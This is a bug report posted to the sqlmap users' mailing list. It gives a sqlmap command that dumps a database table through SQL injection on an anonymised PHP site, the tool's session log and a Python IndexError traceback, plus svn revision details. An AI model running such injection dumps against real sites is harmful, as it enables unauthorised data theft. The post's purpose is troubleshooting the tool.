[sqlmap-users] Bug

[David G. <sk...@gm...>]

$ ./sqlmap.py -u "http://vulnsite/site/vulnphp.php?id=179" -p id
--union-test --string "XXX" -D XXX_uk -T eventos --dump

    sqlmap/0.9-dev - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 21:47:55

[21:47:55] [INFO] using '/path/sqlmap8/output/vulnsite/session' as session file
[21:47:55] [INFO] resuming string match 'XXX' from session file
[21:47:55] [INFO] resuming injection point 'GET' from session file
[21:47:55] [INFO] resuming injection parameter 'id' from session file
[21:47:55] [INFO] resuming injection type 'numeric' from session file
[21:47:55] [INFO] resuming 0 number of parenthesis from session file
[21:47:55] [INFO] resuming back-end DBMS 'mysql 5' from session file
[21:47:55] [INFO] resuming union comment '#' from session file
[21:47:55] [INFO] resuming union count 8 from session file
[21:47:55] [INFO] resuming union position 3 from session file
[21:48:00] [INFO] testing connection to the target url
[21:48:02] [INFO] testing for parenthesis on injectable parameter
[21:48:02] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.2.14, Apache 2.2.16
back-end DBMS: MySQL 5

[21:48:02] [INFO] fetching columns for table 'eventos' on database 'XXX_uk'
[21:48:03] [INFO] fetching entries for table 'eventos' on database 'XXX_uk'

[21:48:05] [ERROR] unhandled exception in sqlmap/0.9-dev, please copy
the command line and the following text and send by e-mail to
sql...@li.... The developer will fix it as soon
as possible:
sqlmap version: 0.9-dev
Python version: 2.5.2
Operating system: posix
Traceback (most recent call last):
  File "./sqlmap.py", line 89, in main
    start()
  File "/pentest/database/sqlmap8/lib/controller/controller.py", line
278, in start
    action()
  File "/pentest/database/sqlmap8/lib/controller/action.py", line 117, in action
    conf.dumper.dbTableValues(conf.dbmsHandler.dumpTable())
  File "/pentest/database/sqlmap8/plugins/generic/enumeration.py",
line 1067, in dumpTable
    colEntry = entry[index]
IndexError: list index out of range

[*] shutting down at: 21:48:05

$ svn info
Path: .
URL: https://svn.sqlmap.org/sqlmap/trunk/sqlmap
Repository Root: https://svn.sqlmap.org/sqlmap
Repository UUID: 7eb2e9d7-d917-0410-b3c8-b11144ad09fb
Revision: 1836
Node Kind: directory
Schedule: normal
Last Changed Author: stamparm
Last Changed Rev: 1836
Last Changed Date: 2010-08-31 11:31:17 -0300 (Tue, 31 Aug 2010)

-- 
David Gomes Guimarães